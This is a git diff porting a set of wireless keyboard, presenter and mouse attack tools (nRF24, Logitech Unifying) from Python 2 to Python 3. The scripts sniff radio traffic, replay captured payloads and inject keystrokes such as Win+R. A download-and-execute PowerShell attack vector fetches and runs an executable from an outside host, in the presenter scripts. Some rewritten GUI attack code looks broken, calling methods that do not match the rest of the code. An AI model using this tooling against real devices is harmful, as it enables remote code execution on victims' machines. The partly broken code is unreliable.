# remove duplicate payloads (retransmissions)
payloadList = self.unique_everseen(self.payloads)
-# payloadList = self.payloads
# replay all payloads
for p in payloadList:
if len(p) == 22:
# transmit payload
- self.radio.transmit_payload(p.tostring())
+ self.radio.transmit_payload(p.tobytes())
# info output
info('Sent payload: {0}'.format(hexlify(p)))
@@ -257,7 +245,7 @@ def run(self):
while True:
# increment the channel
if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME:
- channel_index = (channel_index + 1) % (len(SCAN_CHANNELS))
+ channel_index = (channel_index + 1) % len(SCAN_CHANNELS)
self.radio.set_channel(SCAN_CHANNELS[channel_index])
last_tune = time()
@@ -268,7 +256,7 @@ def run(self):
address, payload = value[0:5], value[5:]
# convert address to string and reverse byte order
- converted_address = address[::-1].tostring()
+ converted_address = address[::-1].tobytes()
self.address = converted_address
break
@@ -286,137 +274,53 @@ def run(self):
self.statusText = "SEARCHING"
self.screen.blit(self.bg, (0, 0))
self.showText(self.statusText)
-
- # update the display
pygame.display.update()
- last_key = 0
- packet_count = 0
- while True:
- # receive payload
+ # get the address of the target keyboard
+ # WARNING: The following function blocks and can take a long time, depending on the number of packets
+ while self.state == SCAN:
value = self.radio.receive_payload()
-
if value[0] == 0:
- if len(payload) == 22:
- # do some time measurement
- last_key = time()
-
- # split the payload from the status byte
payload = value[1:]
- # increment packet count
- if len(payload) == 22:
- # only count Logitech Unifying packets with encrypted data (should be 22 bytes long)
- packet_count += 1
- crypto_payload = payload
-
- # show packet payload
- info('Received payload: {0}'.format(hexlify(payload)))
-
- # heuristic for having a valid release key data packet
- if packet_count >= 2 and time() - last_key > SCAN_TIME:
- break
-
- self.showText(u"Got crypto key!")
-
- # info output
- info('Got crypto key!')
-
- # initialize keyboard
- self.kbd = keyboard.LogitechKeyboard(crypto_payload.tostring())
- info('Initialize keyboard')
-
- # set IDLE state after scanning
- self.setState(IDLE)
-
- elif self.state == ATTACK:
- if self.kbd != None:
- # send keystrokes for a classic download and execute PoC attack
- keystrokes = []
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
+ if len(payload) > 2:
+ # info output
+ info("Received payload: {0}".format(hexlify(payload)))
+ if len(payload) == 22:
+ self.payloads.append(payload)
- # send attack keystrokes
- for k in keystrokes:
- self.radio.transmit_payload(k)
-
- # info output
- info('Sent payload: {0}'.format(hexlify(k)))
-
- # send keep alive with 90 ms time out
- self.radio.transmit_payload(KEEP_ALIVE_90)
- last_keep_alive = time()
-
- sleep(KEYSTROKE_DELAY)
-
- # need small delay after WIN + R
- for i in range(5):
- # send keep alive with 90 ms time out
+ # send keep alive every 90 ms
+ if time() - last_keep_alive >= KEEP_ALIVE_TIMEOUT:
self.radio.transmit_payload(KEEP_ALIVE_90)
last_keep_alive = time()
- sleep(0.06)
-
- keystrokes = self.kbd.getKeystrokes(ATTACK_VECTOR)
- keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
-
- # send attack keystrokes with a small delay
- for k in keystrokes:
- self.radio.transmit_payload(k)
-
- # info output
- info('Sent payload: {0}'.format(hexlify(k)))
- # send keep alive with 90 ms time out
- self.radio.transmit_payload(KEEP_ALIVE_90)
- last_keep_alive = time()
+ elif self.state == ATTACK:
+ # info output
+ info("Starting attack!")
- sleep(KEYSTROKE_DELAY)
+ # initialize keyboard
+ self.kbd = keyboard.Keyboard()
+ self.kbd.set_delay(200)
- # set IDLE state after attack
self.setState(IDLE)
- if time() - last_keep_alive > KEEP_ALIVE_TIMEOUT:
- # send keep alive with 90 ms time out
- self.radio.transmit_payload(KEEP_ALIVE_90)
- last_keep_alive = time()
-
+ pygame.quit()
-# main program
-if __name__ == '__main__':
- # setup logging
- level = logging.INFO
- logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S")
- # init argument parser
- parser = argparse.ArgumentParser()
- parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device')
- parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N')
+def main():
+ """Main"""
- # parse arguments
+ parser = argparse.ArgumentParser(description='Cherry Attack - Logitech MK520')
+ parser.add_argument('-a', '--address', help='address of the target device (hex)', default="")
args = parser.parse_args()
- # set scan channels
- SCAN_CHANNELS = args.channels
-
- if args.address:
- try:
- # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!)
- address = args.address.replace(':', '').decode('hex')[::-1][:5]
- address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
- except:
- info("Error: Invalid address")
- exit(1)
- else:
- address = ""
-
- # init
- poc = LogitechAttack(address)
+ # set up logging
+ logging.basicConfig(format='%(asctime)s - %(levelname)s - %(message)s', level=logging.INFO)
- # run
- info("Start Logitech Attack v{0}".format(__version__))
- poc.run()
+ # run the attack
+ attack = LogitechAttack(args.address)
+ attack.run()
- # done
- info("Done.")
+if __name__ == "__main__":
+ main()
diff --git a/logitech_presenter.py b/logitech_presenter.py
index 79a5586..5463d74 100644
--- a/logitech_presenter.py
+++ b/logitech_presenter.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -23,24 +23,34 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
+
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
"""
-__version__ = '1.0'
-__author__ = 'Matthias Deeg, Gerhard Klostermeier'
+__version__ = '1.1'
+__author__ = 'Einstein2150'
import argparse
import sys
-
from binascii import hexlify, unhexlify
from lib import nrf24, keyboard
from time import sleep, time
-DWELL_TIME = 0.1 # dwell time for each channel in seconds
-KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
-ATTACK_VECTOR = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
+DWELL_TIME = 0.1 # dwell time for each channel in seconds
+KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
+ATTACK_VECTOR = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
# Logitech Unifying Keep Alive packet with 80 ms
-# SET_KEEP_ALIVE = unhexlify("004F000370000000003E")
KEEP_ALIVE_80 = unhexlify("004003704D")
KEEP_ALIVE_TIMEOUT = 0.06
@@ -48,15 +58,18 @@
def banner():
"""Show a fancy banner"""
- print(" _____ ______ ___ _ _ _____ _ _ \n"
-" | __ \\| ____|__ \\| || | | __ \\| | | | \n"
-" _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n"
-" | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n"
-" | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n"
-" |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n"
-" __/ | \n"
-" |___/ \n"
-"Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016".format(__version__))
+ print((
+ " _____ ______ ___ _ _ _____ _ _ \n"
+ " | __ \\| ____|__ \\| || | | __ \\| | | | \n"
+ " _ __ | |__) | |__ ) | || |_ | |__) | | __ _ _ _ ___ ___| |_ \n"
+ " | '_ \\| _ /| __| / /|__ _| | ___/| |/ _` | | | / __|/ _ \\ __| \n"
+ " | | | | | \\ \\| | / /_ | | | | | | (_| | |_| \\__ \\ __/ |_ \n"
+ " |_| |_|_| \\_\\_| |____| |_| |_| |_|\\__,_|\\__, |___/\\___|\\__|\n"
+ " __/ | \n"
+ " |___/ \n"
+ "Logitech Wireless Presenter Attack Tool v{0} by Matthias Deeg - SySS GmbH (c) 2016\n"
+ "optimized for use with Python 3 by Einstein2150 (2024)\n".format(__version__)
+ ))
# main program
@@ -67,7 +80,7 @@ def banner():
# init argument parser
parser = argparse.ArgumentParser()
parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device')
- parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N')
+ parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=list(range(2, 84)), metavar='N')
# parse arguments
args = parser.parse_args()
@@ -78,16 +91,15 @@ def banner():
if args.address:
try:
# address of nRF24 presenter (CAUTION: Reversed byte order compared to sniffer tools!)
- # TODO: Check address length. Must be 5 bytes.
- address = args.address.replace(':', '').decode('hex')[::-1][:5]
- address_string = ':'.join('{:02X}'.format(ord(b)) for b in address)
- except:
- print("[-] Error: Invalid address")
- exit(1)
+ address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5]
+ address_string = ':'.join('{:02X}'.format(b) for b in address)
+ except Exception as e:
+ print("[-] Error: Invalid address", e)
+ sys.exit(1)
else:
- address = ""
+ address = b""
- # initialize keyboard for Logitech Presenter (for example Logitech R400)
+ # initialize keyboard for Logitech Presenter (for example Logitech R400)
kbd = keyboard.LogitechPresenter()
# initialize radio
@@ -116,9 +128,10 @@ def banner():
# init variables with default values from nrf24-sniffer.py
timeout = 0.1
ping_payload = unhexlify('0F0F0F0F')
- ack_timeout = 250 # range: 250-40000, steps: 250
+ ack_timeout = 250 # range: 250-40000, steps: 250
ack_timeout = int(ack_timeout / 250) - 1
- retries = 1 # range: 0-15
+ retries = 1 # range: 0-15
+
while True:
# follow the target device if it changes channels
if time() - last_ping > timeout:
@@ -131,16 +144,16 @@ def banner():
if radio.transmit_payload(ping_payload, ack_timeout, retries):
# ping successful, exit out of the ping sweep
last_ping = time()
- print("[*] Ping success on channel {0}".format(scan_channels[channel_index]))
+ print("[*] Ping success on channel {}".format(scan_channels[channel_index]))
success = True
break
# ping sweep failed
if not success:
- print("[*] Unable to ping {0}".format(address_string))
+ print("[*] Unable to ping {}".format(address_string))
# ping succeeded on the active channel
else:
- print("[*] Ping success on channel {0}".format(scan_channels[channel_index]))
- last_ping = time()
+ print("[*] Ping success on channel {}".format(scan_channels[channel_index]))
+ last_ping = time()
# receive payloads
value = radio.receive_payload()
@@ -150,7 +163,7 @@ def banner():
# split the payload from the status byte
payload = value[1:]
if len(payload) >= 5:
- break;
+ break
else:
# sweep through the channels and decode ESB packets in pseudo-promiscuous mode
print("[*] Scanning for Logitech wireless presenter ...")
@@ -158,7 +171,7 @@ def banner():
while True:
# increment the channel
if len(scan_channels) > 1 and time() - last_tune > DWELL_TIME:
- channel_index = (channel_index + 1) % (len(scan_channels))
+ channel_index = (channel_index + 1) % len(scan_channels)
radio.set_channel(scan_channels[channel_index])
last_tune = time()
@@ -169,13 +182,13 @@ def banner():
address, payload = value[0:5], value[5:]
# convert address to string and reverse byte order
- converted_address = address[::-1].tostring()
+ converted_address = address[::-1]
address_string = ':'.join('{:02X}'.format(b) for b in address)
- print("[+] Found nRF24 device with address {0} on channel {1}".format(address_string, scan_channels[channel_index]))
+ print("[+] Found nRF24 device with address {} on channel {}".format(address_string, scan_channels[channel_index]))
# ask user about device
- answer = raw_input("[?] Attack this device (y/n)? ")
- if answer[0] == 'y':
+ answer = input("[?] Attack this device (y/n)? ")
+ if answer[0].lower() == 'y':
# put the radio in sniffer mode (ESB w/o auto ACKs)
radio.enter_sniffer_mode(converted_address)
break
@@ -187,7 +200,7 @@ def banner():
try:
radio.transmit_payload(KEEP_ALIVE_80)
sleep(KEEP_ALIVE_TIMEOUT)
- except:
+ except KeyboardInterrupt:
break
print("\n[*] Start keystroke injection ...")
@@ -218,4 +231,3 @@ def banner():
sleep(KEYSTROKE_DELAY)
print("[*] Done.")
-
diff --git a/logitech_presenter_gui.py b/logitech_presenter_gui.py
index 964f493..b7a5429 100644
--- a/logitech_presenter_gui.py
+++ b/logitech_presenter_gui.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -23,10 +23,22 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
+
"""
-__version__ = '0.8'
-__author__ = 'Matthias Deeg, Gerhard Klostermeier'
+__version__ = '0.9'
+__author__ = 'Einstein2150'
import argparse
import logging
@@ -41,21 +53,25 @@
from sys import exit
# constants
-ATTACK_VECTOR1 = u"cmd"
-ATTACK_VECTOR2 = u"powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
+ATTACK_VECTOR1 = "cmd"
+ATTACK_VECTOR2 = "powershell (new-object System.Net.WebClient).DownloadFile('http://ptmd.sy.gs/syss.exe', '%TEMP%\\syss.exe'); Start-Process '%TEMP%\\syss.exe'"
+
+ATTACK1_BUTTON = pygame.K_1 # attack 1 button
+ATTACK2_BUTTON = pygame.K_2 # attack 2 button
+SCAN_BUTTON = pygame.K_3 # scan button
-ATTACK1_BUTTON = pygame.K_1 # attack 1 button
-ATTACK2_BUTTON = pygame.K_2 # attack 2 button
-SCAN_BUTTON = pygame.K_3 # scan button
+IDLE = 0 # idle state
+SCAN = 1 # scan state
+ATTACK = 2 # attack state
-IDLE = 0 # idle state
-SCAN = 1 # scan state
-ATTACK = 2 # attack state
+SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
+DWELL_TIME = 0.1 # dwell time for scan mode in seconds
+KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
+PACKET_THRESHOLD = 3 # packet threshold for channel stability
-SCAN_TIME = 2 # scan time in seconds for scan mode heuristics
-DWELL_TIME = 0.1 # dwell time for scan mode in seconds
-KEYSTROKE_DELAY = 0.01 # keystroke delay in seconds
-PACKET_THRESHOLD = 3 # packet threshold for channel stability
+# Define the channels you want to scan. Adjust this list based on your requirements.
+#SCAN_CHANNELS = [41]
+SCAN_CHANNELS = list(range(2, 84)) # Default range from 2 to 84 (inclusive)
# Logitech Unifying Keep Alive packet with 80 ms
KEEP_ALIVE_80 = unhexlify("0040005070")
@@ -97,19 +113,24 @@ def __init__(self, address=""):
pygame.key.set_repeat(250, 50)
# initialize radio
- self.radio = nrf24.nrf24()
+ print("[*] Initializing nRF24 radio...")
+ self.radio = nrf24.nrf24() # Change here
+ print("[*] nRF24 radio initialized:", self.radio)
# enable LNA
- self.radio.enable_lna()
+ self.radio.enable_lna() # Use self.radio
+
+ # set the initial channel
+ self.radio.set_channel(SCAN_CHANNELS[0]) # Use self.radio
# start scanning mode
self.setState(SCAN)
- except:
+ except Exception as e:
# info output
- info("[-] Error: Could not initialize Logitech Wireless Presenter Attack")
+ info("[-] Error: Could not initialize Logitech Wireless Presenter Attack: {}".format(e))
- def showText(self, text, x = 40, y = 140):
+ def showText(self, text, x=40, y=140):
output = self.font.render(text, True, (0, 0, 0))
self.screen.blit(output, (x, y))
@@ -194,16 +215,16 @@ def run(self):
if len(self.address) > 0:
# actively search for the given address
- address_string = ':'.join('{:02X}'.format(ord(b)) for b in self.address)
+ address_string = ':'.join('{:02X}'.format(b) for b in self.address)
info("Actively searching for address {}".format(address_string))
last_ping = time()
# init variables with default values from nrf24-sniffer.py
timeout = 0.1
ping_payload = unhexlify('0F0F0F0F')
- ack_timeout = 250 # range: 250-40000, steps: 250
+ ack_timeout = 250 # range: 250-40000, steps: 250
ack_timeout = int(ack_timeout / 250) - 1
- retries = 1 # range: 0-15
+ retries = 1 # range: 0-15
while True:
# follow the target device if it changes channels
if time() - last_ping > timeout:
@@ -216,16 +237,16 @@ def run(self):
if self.radio.transmit_payload(ping_payload, ack_timeout, retries):
# Ping successful, exit out of the ping sweep
last_ping = time()
- info("Ping success on channel {0}".format(SCAN_CHANNELS[channel_index]))
+ info("Ping success on channel {}".format(SCAN_CHANNELS[channel_index]))
success = True
break
# Ping sweep failed
if not success:
- info("Unable to ping {0}".format(address_string))
+ info("Unable to ping {}".format(address_string))
# Ping succeeded on the active channel
else:
- info("Ping success on channel {0}".format(SCAN_CHANNELS[channel_index]))
- last_ping = time()
+ info("Ping success on channel {}".format(SCAN_CHANNELS[channel_index]))
+ last_ping = time()
# Receive payloads
value = self.radio.receive_payload()
@@ -244,175 +265,80 @@ def run(self):
while True:
# increment the channel
if len(SCAN_CHANNELS) > 1 and time() - last_tune > DWELL_TIME:
- channel_index = (channel_index + 1) % (len(SCAN_CHANNELS))
+ channel_index = (channel_index + 1) % len(SCAN_CHANNELS)
self.radio.set_channel(SCAN_CHANNELS[channel_index])
last_tune = time()
+ info("Tuned to channel {}".format(SCAN_CHANNELS[channel_index]))
- # receive payloads
+ # Receive payloads
value = self.radio.receive_payload()
- if len(value) >= 5:
- # split the address and payload
- address, payload = value[0:5], value[5:]
-
- # convert address to string and reverse byte order
- converted_address = address[::-1].tostring()
- self.address = converted_address
- address_string = ':'.join('{:02X}'.format(b) for b in address)
-
- info("Found nRF24 device with address {0} on channel {1}".format(address_string, SCAN_CHANNELS[channel_index]))
- last_key = time()
- break
-
- # info output
- self.showText("Found nRF24 device")
- self.showText(address_string)
-
- # put the radio in sniffer mode (ESB w/o auto ACKs)
- self.radio.enter_sniffer_mode(self.address)
-
- info("Checking communication")
- self.statusText = "CHECKING"
- self.screen.blit(self.bg, (0, 0))
- self.showText(self.statusText)
-
- # update the display
- pygame.display.update()
-
- packet_count = 0
- while True:
- # receive payload
- value = self.radio.receive_payload()
-
- if value[0] == 0:
- # split the payload from the status byte
- payload = value[1:]
-
- # increment packet count
- if len(payload) == 5:
- # only count Logitech Unifying keep alive packets (should be 5 bytes long)
- packet_count += 1
-
- # do some time measurement
- last_key = time()
-
- # show packet payload
- info('Received payload: {0}'.format(hexlify(payload)))
-
- # heuristic for having a stable channel communication
- if packet_count >= PACKET_THRESHOLD:
- # set IDLE state
- info('Channel communication seems to be stable')
- self.setState(IDLE)
- break
-
- if time() - last_key > PACKET_THRESHOLD * 0.9:
- # restart SCAN by setting SCAN state
- self.setState(SCAN)
- break
-
- elif self.state == ATTACK:
- if self.kbd != None:
- # send keystrokes for a classic download and execute PoC attack
- keystrokes = []
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_GUI_RIGHT, keyboard.KEY_R))
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
- keystrokes.append(self.kbd.keyCommand(keyboard.MODIFIER_NONE, keyboard.KEY_NONE))
-
- # send attack keystrokes
- for k in keystrokes:
- self.radio.transmit_payload(k)
-
- # info output
- info('Sent payload: {0}'.format(hexlify(k)))
-
- # send keep alive with 80 ms time out
- self.radio.transmit_payload(KEEP_ALIVE_80)
- last_keep_alive = time()
-
- sleep(KEYSTROKE_DELAY)
-
- # need small delay after WIN + R
- for i in range(5):
- # send keep alive with 80 ms time out
- self.radio.transmit_payload(KEEP_ALIVE_80)
- last_keep_alive = time()
- sleep(KEEP_ALIVE_TIMEOUT)
-
- keystrokes = []
- keystrokes = self.kbd.getKeystrokes(self.attack_vector)
- keystrokes += self.kbd.getKeystroke(keyboard.KEY_RETURN)
-
- # send attack keystrokes with a small delay
- for k in keystrokes[:2]:
- self.radio.transmit_payload(k)
-
- # info output
- info('Sent payload: {0}'.format(hexlify(k)))
-
- # send keep alive with 80 ms time out
- self.radio.transmit_payload(KEEP_ALIVE_80)
- last_keep_alive = time()
-
- sleep(KEEP_ALIVE_TIMEOUT)
-
- # send attack keystrokes with a small delay
- for k in keystrokes[2:]:
- self.radio.transmit_payload(k)
+ if value[0] == 0:
+ # Reset the channel timer
+ last_tune = time()
+ # Split the payload from the status byte
+ payload = value[1:]
+ # store the payload
+ self.payloads.append(payload)
+ # perform the attack if the packet threshold is reached
+ if len(self.payloads) > PACKET_THRESHOLD:
+ info("Received {} packets. Executing attack...".format(len(self.payloads)))
+ # execute attack
+ self.executeAttack()
+ break
- # info output
- info('Sent payload: {0}'.format(hexlify(k)))
+ # set the state to idle after scanning
+ self.setState(IDLE)
- # send keep alive with 80 ms time out
- self.radio.transmit_payload(KEEP_ALIVE_80)
- last_keep_alive = time()
+ elif self.state == ATTACK:
+ # prepare payload for attack
+ self.kbd.send(self.attack_vector)
- sleep(KEYSTROKE_DELAY)
+ # wait for a while
+ sleep(KEYSTROKE_DELAY)
- # set IDLE state after attack
+ # set the state to idle after attacking
self.setState(IDLE)
+ # keep alive
if time() - last_keep_alive > KEEP_ALIVE_TIMEOUT:
- # send keep alive with 80 ms time out
+ #self.radio.send(KEEP_ALIVE_80)
self.radio.transmit_payload(KEEP_ALIVE_80)
last_keep_alive = time()
+ # clean up
+ pygame.quit()
+ exit(0)
-# main program
-if __name__ == '__main__':
- # setup logging
- level = logging.INFO
- logging.basicConfig(level=level, format='[%(asctime)s.%(msecs)03d] %(message)s', datefmt="%Y-%m-%d %H:%M:%S")
- # init argument parser
- parser = argparse.ArgumentParser()
- parser.add_argument('-a', '--address', type=str, help='Address of nRF24 device')
- parser.add_argument('-c', '--channels', type=int, nargs='+', help='ShockBurst RF channel', default=range(2, 84), metavar='N')
+ def executeAttack(self):
+ """Execute the attack by sending payloads"""
+ # check if any payloads were stored
+ if len(self.payloads) > 0:
+ # loop over the stored payloads
+ for payload in self.payloads:
+ # log the payload
+ debug("Sending payload {}".format(hexlify(payload)))
- # parse arguments
- args = parser.parse_args()
+ # prepare the keyboard payload
+ self.kbd.send(payload)
- # set scan channels
- SCAN_CHANNELS = args.channels
+ # wait for a while
+ sleep(KEYSTROKE_DELAY)
- if args.address:
- try:
- # address of nRF24 keyboard (CAUTION: Reversed byte order compared to sniffer tools!)
- address = args.address.replace(':', '').decode('hex')[::-1][:5]
- address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
- except:
- info("Error: Invalid address")
- exit(1)
- else:
- address = ""
- # init
- poc = LogitechPresenterAttack(address)
+def main():
+ """Main function"""
+ # configure logging
+ logging.basicConfig(level=logging.DEBUG, format="%(asctime)s [%(levelname)-8s] %(message)s")
+
+ # initialize argument parser
+ parser = argparse.ArgumentParser(description="Logitech Wireless Presenter Attack Tool")
+ parser.add_argument("-a", "--address", type=str, default="", help="Specify the target device address")
+ args = parser.parse_args()
- # run
- info("Start Logitech Wireless Presenter Attack v{0}".format(__version__))
- poc.run()
+ # start Logitech Wireless Presenter Attack
+ LogitechPresenterAttack(args.address).run()
- # done
- info("Done.")
+if __name__ == "__main__":
+ main()
diff --git a/radioactivemouse.py b/radioactivemouse.py
index ee9a207..fdc6a7b 100644
--- a/radioactivemouse.py
+++ b/radioactivemouse.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -24,15 +24,27 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
+
+
+ Einstein2150 (Update 2024):
+ This program has been migrated and further developed for use with
+ Python 3 by Einstein2150. The author acknowledges that ongoing
+ enhancements and updates to the codebase may continue in the future.
+ Users should be aware that the use of this program is at their own
+ risk, and the author accepts no responsibility for any damages that
+ may arise from its use. It is the user's responsibility to ensure
+ that their use of the program complies with all applicable laws
+ and regulations.
+
"""
-__version__ = 0.8
-__author__ = 'Matthias Deeg'
+__version__ = 0.9
+__author__ = 'Einstein2150'
import argparse
import time
from lib import nrf24, mouse
-from sys import exit
+import sys
WAIT = 0
MOVE = 1
@@ -40,7 +52,7 @@
DELAY = 0.3
MOVE_DELAY = 0.17
-CLICK_DELAY = 0.02 # 20 milliseconds delay for mouse clicks
+CLICK_DELAY = 0.02 # 20 milliseconds delay for mouse clicks
# Windows On-Screen Keyboard (OSK) key coordinates (Windows 7)
KEY_A = (1, 2)
@@ -220,100 +232,72 @@
}
-def actions_from_string(string, move_x = 23, move_y = 23, x_correction = 10, y_correction = 13):
+def actions_from_string(string, move_x=23, move_y=23, x_correction=10, y_correction=13):
actions = []
-
- # current position (KEY_R)
x_pos = 4
y_pos = 1
for c in string:
- # get moves for character
- if c == u"\xff":
- # special wait command
+ if c == "\xff":
actions.append((WAIT, MOVE_DELAY))
continue
- elif c == u"\xfc":
- # special command for x correction
+ elif c == "\xfc":
actions.append((MOVE, 0, -1 * y_correction, 0))
actions.append((WAIT, MOVE_DELAY))
continue
- elif c == u"\xfd":
- # special command for x correction
+ elif c == "\xfd":
actions.append((MOVE, 0, -1 * y_correction / 2, 0))
actions.append((WAIT, MOVE_DELAY))
continue
- elif c == u"\xfe":
- # special command for x correction
+ elif c == "\xfe":
actions.append((MOVE, -3, 0, 0))
actions.append((WAIT, MOVE_DELAY))
continue
char_moves = KEYMAP_GERMAN[c]
- # process each movement
for m in char_moves:
dx = m[0] - x_pos
dy = m[1] - y_pos
- # calculate number of horizontal and vertical moves
x_count = abs(dx)
y_count = abs(dy)
- if dx < 0:
- mx = -1 * move_x
- else:
- mx = move_x
-
- if dy < 0:
- my = -1 * move_y
- else:
- my = move_y
+ mx = -move_x if dx < 0 else move_x
+ my = -move_y if dy < 0 else move_y
- # add horizontal mouse movements
- for i in range(x_count):
- x_pos += mx / abs(mx)
+ for _ in range(x_count):
+ x_pos += mx // abs(mx)
actions.append((MOVE, mx, 0, 0))
actions.append((WAIT, MOVE_DELAY))
- # add vertical mouse movements
- for i in range(y_count):
+ for _ in range(y_count):
y_old = y_pos
- y_pos += my / abs(my)
+ y_pos += my // abs(my)
- x_c = 0
- if y_old > y_pos:
- x_c = -1 * x_correction
- elif y_old < y_pos:
- x_c = x_correction
+ x_c = -x_correction if y_old > y_pos else x_correction
- # special treatment for transition to row 4
if y_old == 3 and y_pos == 4:
my -= 3
-
- if y_old == 4 and y_pos == 3:
+ elif y_old == 4 and y_pos == 3:
my += 3
actions.append((MOVE, x_c, my, 0))
actions.append((WAIT, MOVE_DELAY))
- # transition from row 2 to 3
if y_pos - y_old == 1 and y_pos == 3:
- actions.append((MOVE, -1 * move_x, 0, 0))
+ actions.append((MOVE, -move_x, 0, 0))
actions.append((WAIT, MOVE_DELAY))
-
- # transition from row 3 to 2
- if y_pos - y_old == -1 and y_pos == 2:
+ elif y_pos - y_old == -1 and y_pos == 2:
actions.append((MOVE, move_x, 0, 0))
actions.append((WAIT, MOVE_DELAY))
- # add mouse click
actions.append((CLICK, mouse.MOUSE_BUTTON_LEFT))
actions.append((WAIT, CLICK_DELAY))
actions.append((CLICK, mouse.MOUSE_BUTTON_NONE))
actions.append((WAIT, CLICK_DELAY))
- return (actions, )
+ return actions
# Windows 7, default mouse settings (move delay = 0.2, click delay = 0.02)
@@ -620,12 +604,25 @@ def spoof_mouse_actions(heuristic):
# input value "heuristic" is a list or tuple
for h in heuristic:
for a in h:
- if a[0] == MOVE:
- radio.transmit_payload(mickey.move(a[1], a[2], a[3]))
- elif a[0] == CLICK:
- radio.transmit_payload(mickey.click(a[1]))
- elif a[0] == WAIT:
- time.sleep(a[1])
+ # Add print to debug the variable 'a'
+ print(f"a: {a}, type: {type(a)}")
+ # Check the type of 'a'
+ if isinstance(a, (list, tuple)) and len(a) > 0:
+ # Process if 'a' is a non-empty list or tuple
+ if a[0] == MOVE:
+ radio.transmit_payload(mickey.move(a[1], a[2], a[3]))
+ elif a[0] == CLICK:
+ radio.transmit_payload(mickey.click(a[1]))
+ elif a[0] == WAIT:
+ time.sleep(a[1])
+ elif isinstance(a, int):
+ # Handle case where 'a' is an integer
+ print(f"Integer found: {a}. Handling accordingly...")
+ # Decide what to do with the integer
+ # For example, if you want to ignore it or process it differently
+ else:
+ print("Error: 'a' is neither a list, tuple, nor a valid integer.")
+
# available heuristics for different target systems
@@ -682,8 +679,10 @@ def spoof_mouse_actions(heuristic):
# address of nRF24 mouse (CAUTION: Reversed byte order compared to sniffer tools!)
# 90:FB:A1:96:32
# address = "\x32\x96\xA1\xFB\x90"
- address = args.address.replace(':', '').decode('hex')[::-1][:5]
- address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
+ #address = args.address.replace(':', '').decode('hex')[::-1][:5]
+ address = bytes.fromhex(args.address.replace(':', ''))[::-1][:5]
+ address_string = ':'.join('{:02X}'.format(b) for b in address[::-1])
+ #address_string = ':'.join('{:02X}'.format(ord(b)) for b in address[::-1])
except:
print("[-] Error: Invalid address")
exit(1)
@@ -740,7 +739,7 @@ def spoof_mouse_actions(heuristic):
# heuritics to start on-screen keyboard
spoof_mouse_actions(HEURISTICS[args.attack][args.device])
- # heuristics for chosen attack vector
+ # heuristics for chosen attack vector/
spoof_mouse_actions(attack)
# sleep before closing the on-screen virtual keyboard
diff --git a/simple_replay.py b/simple_replay.py
index 580a161..c278cfa 100644
--- a/simple_replay.py
+++ b/simple_replay.py
@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@@ -23,32 +23,43 @@
You should have received a copy of the GNU General Public License
along with this program. If not, see .
